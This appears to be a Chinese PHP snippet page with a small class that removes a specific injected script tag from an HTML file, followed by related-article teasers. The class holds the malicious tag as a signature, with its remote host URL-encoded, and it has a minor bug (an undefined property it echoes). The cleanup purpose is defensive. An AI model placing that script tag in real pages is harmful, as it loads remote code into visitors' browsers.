php 清除网页病毒的方法

yipeiwu_com6年前PHP代码库
<?php
Class clear_virus{
public $index ='b.html';
public $filepath =array('b.html');
public $virus_type ="<script src=http://%61%76%65%33%2E%63%6E></script>";
function open_file(){
if(file_exists($this->index)){
$tmp =file_get_contents($this->index);
if( strrpos($tmp,$this->virus_type)!== false){
$temp =str_replace($this->virus_type,'',$tmp);
$handle =fopen($this->index,'w');
fwrite($handle,$temp);
fclose($handle);
}else{
echo $this->virus_find;
}
}
}
}
$virus =new clear_virus;
$virus->open_file();
?>
清除script 病毒

相关文章

php获取指定数量随机字符串的方法

本文实例讲述了php获取指定数量随机字符串的方法。分享给大家供大家参考,具体如下: function getARandLetter($number = 1) { if ($numb...

PHP中变量引用与变量销毁机制分析

本文实例分析了PHP中变量引用与变量销毁机制。分享给大家供大家参考。具体分析如下: 变量是php中一个非常重要的类型了,我们的有数据都通过变量或常量来进行操作,下文来看看变量引用与变量销...

PHP字符编码问题之GB2312 VS UTF-8解决方法

PHP字符编码问题之GB2312 VS UTF-8解决方法

看代码: 复制代码 代码如下: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www...

php 结果集的分页实现代码

复制代码 代码如下:<?php @mysql_connect("localhost", "root","1981427") //连接数据库服务器 or die("数据库服务器连接失...

PHP实现简单的新闻发布系统实例

本文实例讲述了PHP实现简单的新闻发布系统。分享给大家供大家参考。具体如下: 本人小白,一直在公司用模板和框架写PHP,发现有时候连基本的sql语句都忘记了,所以有空想把PHP基础复习下...